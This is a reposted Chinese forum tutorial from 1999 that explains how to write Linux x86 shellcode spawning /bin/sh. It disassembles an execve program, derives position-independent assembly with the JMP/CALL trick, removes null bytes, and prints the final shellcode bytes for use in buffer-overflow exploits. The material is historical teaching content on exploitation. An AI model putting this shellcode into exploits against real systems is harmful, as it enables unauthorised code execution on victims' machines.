首页 电脑 电脑学堂 查看内容

关于 Shell Code 的编写

2004-9-29 20:05 1103 0

摘要: backend 于 99-9-29 18:24:47 加贴在 UNIX系统安全:Shell Code 的编写下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Lin...
关键词: movl 80002 string 指令 ebp 地址 eax esi pushl 堆栈

backend 于 99-9-29 18:24:47 加贴在 UNIX系统安全:Shell Code 的编写下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)void main() {  char *name[2];  name[0] = "/bin/sh";  name[1] = NULL;  execve(name[0], name, NULL);}我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)------------------------------------------------------------------------------[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c[aleph1]$ gdb shellcodeGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)0x800013d : movl $0x0,0xfffffffc(%ebp)0x8000144 : pushl $0x00x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax0x800014e : call 0x80002bc 0x8000153 : addl $0xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disassemble __execveDump of assembler code for function __execve:0x80002bc : pushl %ebp0x80002bd : movl %esp,%ebp0x80002bf : pushl %ebx0x80002c0 : movl $0xb,%eax0x80002c5 : movl 0x8(%ebp),%ebx0x80002c8 : movl 0xc(%ebp),%ecx0x80002cb : movl 0x10(%ebp),%edx0x80002ce : int $0x800x80002d0 : movl %eax,%edx0x80002d2 : testl %edx,%edx0x80002d4 : jnl 0x80002e6 0x80002d6 : negl %edx0x80002d8 : pushl %edx0x80002d9 : call 0x8001a34 0x80002de : popl %edx0x80002df : movl %edx,(%eax)0x80002e1 : movl $0xffffffff,%eax0x80002e6 : popl %ebx0x80002e7 : movl %ebp,%esp0x80002e9 : popl %ebp0x80002ea : ret0x80002eb : nopEnd of assembler dump.------------------------------------------------------------------------------下面我们来首先来分析一下main代码中每条语句的作用:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:char *name[2];也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 : name[0] = "/bin/sh";0x800013d : movl $0x0,0xfffffffc(%ebp)将NULL放入name[1]的内存单元中, 也就是相当于:name[1] = NULL;对execve()的调用从下面开始:0x8000144 : pushl $0x0开始将参数以逆序压入堆栈, 第一个是NULL.0x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax将name[]的起始地址压入堆栈0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax将字符串"/bin/sh"的地址压入堆栈0x800014e : call 0x80002bc 调用execve() . call 指令首先将 EIP 压入堆栈------------------------------------------------------------------------------------现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.0x80002bc :  pushl %ebp0x80002bd : movl %esp,%ebp0x80002bf : pushl %ebx同样的入口处理0x80002c0 : movl $0xb,%eax将0xb(11)赋给eax , 这是execve()在系统中的索引号.0x80002c5 : movl 0x8(%ebp),%ebx将字符串"/bin/sh"的地址赋给ebx0x80002c8 : movl 0xc(%ebp),%ecx将name[]的地址赋给ecx0x80002cb : movl 0x10(%ebp),%edx将NULL的地址赋给edx0x80002ce : int $0x80产生系统调用,进入核心态运行.------------------------------------------------------------------------------------看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:leal string,string_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)string db "/bin/sh",0string_addr dd 0null_addr  dd 0-------------------------------------------------------------------------------------但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:movl string_addr,%ebx这种需要将绝对地址编码进机器语言的指令根本就没法使用.解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.------------------------------------------------------------------------------经过上面的修改,我们的ShellCode变成了下面的样子:jmp 0x20popl esimovb $0x0,0x7(%esi)movl %esi,0x8(%esi)movl $0x0,0xC(%esi)movl $0xb,%eaxmovl %esi,%ebxleal 0x8(%esi),%ecxleal 0xC(%esi),%edxint $0x80call -0x25string db "/bin/sh",0 string_addr dd 0null_addr  dd 0 # 2 bytes,跳转到CALL# 1 byte, 弹出string地址# 4 bytes,将string变为以'\0'结尾的字符串 # 7 bytes # 5 bytes# 2 bytes# 3 bytes# 3 bytes# 2 bytes# 5 bytes,跳转到popl %esi------------------------------------------------------------------------------------我们知道C语言中的字符串以'\0'结尾,strcpy等函数遇到'\0'就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有'\0'. 下面我们就对它作最后一次改进,去掉其中的'\0':原指令:          替换为:--------------------------------------------------------movb $0x0,0x7(%esi)    xorl %eax,%eaxmovl $0x0,0xc(%esi)    movb %eax,0x7(%esi)               movl %eax,0xc(%esi)--------------------------------------------------------movl $0xb,%eax       movb $0xb,%al--------------------------------------------------------OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.------------------------------------------------------------------------------void main() {__asm__("jmp 0x18       # 2 bytespopl %esi      # 1 bytemovl %esi,0x8(%esi) # 3 bytesxorl %eax,%eax    # 2 bytesmovb %eax,0x7(%esi) # 3 bytesmovl %eax,0xc(%esi) # 3 bytesmovb $0xb,%al    # 2 bytesmovl %esi,%ebx    # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80      # 2 bytescall -0x2d      # 5 bytes.string \"/bin/sh\" # 8 bytes");}------------------------------------------------------------------------------经过编译后,用gdb得到这段汇编语言的机器代码为:\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh接着我们就可以利用这段代码编写溢出程序了。溢出程序的具体编写请参阅本论坛的精华区。### ### ###### ### ###### ### ###### ### ### ### ### ### ### ### ### ### ######## ### ###### ### ### ### ### ### ### ### ### ### ### ### ###### ### ### ### ### ### ### ### ### ### ### ### ### ###### ### ### ### ### ### ### ### ### ### ### ###### ### ### ##### ### ### ### ### ### ### ### ### ### ###------------------
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部